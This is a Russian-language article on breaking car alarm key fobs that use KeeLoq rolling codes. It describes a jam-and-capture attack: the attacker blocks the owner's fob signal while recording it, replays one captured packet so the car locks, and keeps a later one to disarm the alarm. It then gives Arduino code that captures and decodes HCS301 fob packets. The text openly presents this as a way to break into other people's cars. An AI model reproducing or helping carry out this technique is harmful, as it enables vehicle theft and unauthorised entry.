Техническая часть взлома сигнализации авто
InfoBizХочу рассказать вам о перехвате сигнала брелка (например сигнализации авто) и повторном его использовании. Для начала я нашел информацию по KEELOQ. Это достаточно распространенная микросхема, используемая в брелках. Ее защитная функция заключается в том, что после каждой отправки сигнала код меняется. Всего комбинаций 65000. Код формируется из кода производителя + серийный номер. Это ставит перед нами первую проблему - мы не можем просто один раз перехватить сигнал приемником и затем использовать его повторно. Значит, нам придется как то обмануть систему, об этом и пойдет речь в статье!
Нам понадобится ардуино и передатчик сигнала. В идеале еще вот этот набор (чтобы разбираться и углубляться)
Официально KEELOQ имеет 4 выхода, которые активируются при нажатии на одну из 4х кнопок брелка, но неофициально есть контакт "data" с которого можно считывать данные.
Расшифровку кода я не делал, однако из передаваемых данных можно вытащить следующую инфу: блок кодированной информации 32 бита, серийный номер брелка, нажатые кнопки, состояние батареи брелка.
На самом деле никто не взламывал KEELOQ и любой другой шифр не взламывают. Это и не нужно! Плюс ко всему, чтобы взломать надо тыкать на брелок N сотен раз.
Чтобы организовать защиту от клонирования (копирования) пакета существует счетчик синхранизации:
Данный счетчик (Sync Value) при каждом нажатии на кнопку брелка инкрементируется (увеличивается на 1). В сигнализации помимо серийного номера брелка хранится еще и значение этого счетчика и каждый последующий пакет должен иметь значение счетчика больше чем предыдущий, иначе сигнализация никак не отреагирует на пакет, а может даже и сирену включит "распознав" в этом попытку взлома.
То есть не получится в момент снятия с охраны просто записать пакет брелка и воспроизвести его когда нибудь потом.
Так как как же тогда взламывают? - Да очень просто!
Вся фича во взломе - это не техничекое оснащение и компьютерная мощь, а немного логики. Для взлома сигнализации вам понадобится естественно еще передатчик.
Итак, рассмотрим как это делается на сигнализациях, где на одну и ту же кнопку снимается и ставится охрана.
Когда хозяин авто нажимает на кнопку, считываем пакет, но при этом глушим его передатчиком, сигнализация данный пакет не принимает - то есть пакет прочитан только нами, сохраняем этот пакет. Далее хозяин авто (так как машина не закрылась) нажимает повторно, а мы делаем тоже самое. И сразу же отправляем сохраненный ранее пакет. Все! Машина закрыта, хозяин авто уходит, а у нас есть сохраненый пакет от второго нажатия с инкрементированным счетчиком, который и снимет сигналку с охраны.
Тут есть небольшая сложность - это одновременное глушение и прием пакета.
Я не знаю как это организованно в грабберах, но на ардуине можно организовать так: при приеме части пакета включается передатчик например в момент передачи первых 8 бит серийного номера, а при следущем приеме пакета включается например в момент передачи последних 8 бит серийного номера. То есть сигналка не распознает ни одного пакета, а мы можем из двух пакетов собрать правильный серийный номер.
С сигналками, у которых снятие и постановка на охрану осуществляется разными кнопками все тоже самое только нужно дождаться пока хозяин авто в смятении начнет тыкать на все кнопки подряд и нажмет на снятие с охраны.
Вот как то так.
Далее хочу привести вам пример типичного кода для наших целей на ардуино:
001 #define LED_PIN 13
002
003 // Радиобрелки ///////////////////////////////////////////////////////////////////////////////////////
004 #define HCS_RECIEVER_PIN 2 // пин к которому подключен приемник для брелков
005
006 class HCS301 {
007 public:
008 unsigned BattaryLow : 1; // На брелке села батарейка
009 unsigned Repeat : 1; // повторная посылка
010 unsigned BtnNoSound : 1;
011 unsigned BtnOpen : 1;
012 unsigned BtnClose : 1;
013 unsigned BtnRing : 1;
014 unsigned long SerialNum;
015 unsigned long Encript;
016
017 void print();
018 };
019
020 volatile boolean HCS_Listening = true;
021 byte HCS_preamble_count = 0;
022 uint32_t HCS_last_change = 0;
023 //uint32_t HCS_start_preamble = 0;
024 uint8_t HCS_bit_counter; // счетчик считанных бит данных
025 uint8_t HCS_bit_array[66]; // массив считанных бит данных
026 #define HCS_TE 400 // типичная длительность имульса Te
027 #define HCS_Te2_3 600 // HCS_TE * 3 / 2
028
029 HCS301 hcs301;
030
031
032 void setup()
033 {
034 Serial.begin(9600);
035
036 // Брелки
037 pinMode(HCS_RECIEVER_PIN, INPUT);
038 attachInterrupt(0, HCS_interrupt, CHANGE);
039
040 Serial.println("Setup OK");
041 }
042
043
044 void loop()
045 {
046 long CurTime = millis();
047
048 // проверяем наличие команды брелка
049 if(HCS_Listening == false){
050
051 HCS301 msg;
052 memcpy(&msg,&hcs301,sizeof(HCS301));
053
054 // включаем слушанье брелков снова
055 HCS_Listening = true;
056
057 Serial.println(String("KeyFb#")+String(msg.SerialNum));
058 }
059
060 }
061
062 // Функции класса HCS301 для чтения брелков
063 void HCS301::print(){
064 String btn;
065
066 if (BtnRing == 1) btn += "Ring";
067 if (BtnClose == 1) btn += "Close";
068 if (BtnOpen == 1) btn += "Open";
069 if (BtnNoSound == 1) btn += "NoSound";
070
071 String it2;
072 it2 += "Encript ";
073 it2 += Encript;
074 it2 += " Serial ";
075 it2 += SerialNum;
076 it2 += " ";
077 it2 += btn;
078 it2 += " BattaryLow=";
079 it2 += BattaryLow;
080 it2 += " Rep=";
081 it2 += Repeat;
082
083 Serial.println(it2);
084
085 }
086
087 void HCS_interrupt(){
088
089 if(HCS_Listening == false){
090 return;
091 }
092
093 uint32_t cur_timestamp = micros();
094 uint8_t cur_status = digitalRead(HCS_RECIEVER_PIN);
095 uint32_t pulse_duration = cur_timestamp - HCS_last_change;
096 HCS_last_change = cur_timestamp;
097
098 // ловим преамбулу
099 if(HCS_preamble_count < 12){
100 if(cur_status == HIGH){
101 if( ((pulse_duration > 150) && (pulse_duration < 500)) || HCS_preamble_count == 0){
102 // начало импульса преамбулы
103 //if(HCS_preamble_count == 0){
104 // HCS_start_preamble = cur_timestamp; // Отметим время старта преамбулы
105 //}
106 } else {
107 // поймали какую то фигню, неправильная пауза между импульсами
108 HCS_preamble_count = 0; // сбрасываем счетчик пойманных импульсов преамбулы
109 goto exit;
110
111 }
112 } else {
113 // конец импульса преамбулы
114 if((pulse_duration > 300) && (pulse_duration < 600)){
115 // поймали импульс преамбулы
116 HCS_preamble_count ++;
117 if(HCS_preamble_count == 12){
118 // словили преамбулу
119 //HCS_Te = (cur_timestamp - HCS_start_preamble) / 23; // вычисляем длительность базового импульса Te
120 //HCS_Te2_3 = HCS_Te * 3 / 2;
121 HCS_bit_counter = 0;
122 goto exit;
123 }
124 } else {
125 // поймали какую то фигню
126 HCS_preamble_count = 0; // сбрасываем счетчик пойманных импульсов преамбулы
127 goto exit;
128 }
129 }
130 }
131
132
133 // ловим данные
134 if(HCS_preamble_count == 12){
135 if(cur_status == HIGH){
136 if(((pulse_duration > 250) && (pulse_duration < 900)) || HCS_bit_counter == 0){
137 // начало импульса данных
138 } else {
139 // неправильная пауза между импульсами
140 HCS_preamble_count = 0;
141 goto exit;
142 }
143 } else {
144 // конец импульса данных
145 if((pulse_duration > 250) && (pulse_duration < 900)){
146 HCS_bit_array[65 - HCS_bit_counter] = (pulse_duration > HCS_Te2_3) ? 0 : 1; // импульс больше, чем половина от Те * 3 поймали 0, иначе 1
147 HCS_bit_counter++;
148 if(HCS_bit_counter == 66){
149 // поймали все биты данных
150
151 HCS_Listening = false; // отключем прослушку приемника, отправляем пойманные данные на обработку
152 HCS_preamble_count = 0; // сбрасываем счетчик пойманных импульсов преамбулы
153
154 hcs301.Repeat = HCS_bit_array[0];
155 hcs301.BattaryLow = HCS_bit_array[1];
156 hcs301.BtnNoSound = HCS_bit_array[2];
157 hcs301.BtnOpen = HCS_bit_array[3];
158 hcs301.BtnClose = HCS_bit_array[4];
159 hcs301.BtnRing = HCS_bit_array[5];
160
161 hcs301.SerialNum = 0;
162 for(int i = 6; i < 34;i++){
163 hcs301.SerialNum = (hcs301.SerialNum << 1) + HCS_bit_array[i];
164 };
165
166 uint32_t Encript = 0;
167 for(int i = 34; i < 66;i++){
168 Encript = (Encript << 1) + HCS_bit_array[i];
169 };
170 hcs301.Encript = Encript;
171 }
172 } else {
173 // поймали хрень какую то, отключаемся
174 HCS_preamble_count = 0;
175 goto exit;
176 }
177 }
178 }
179
180 exit:;
181
182 //digitalWrite(LED_PIN,cur_status);
183 }
Вот такие дела. Всем спасибо за внимание!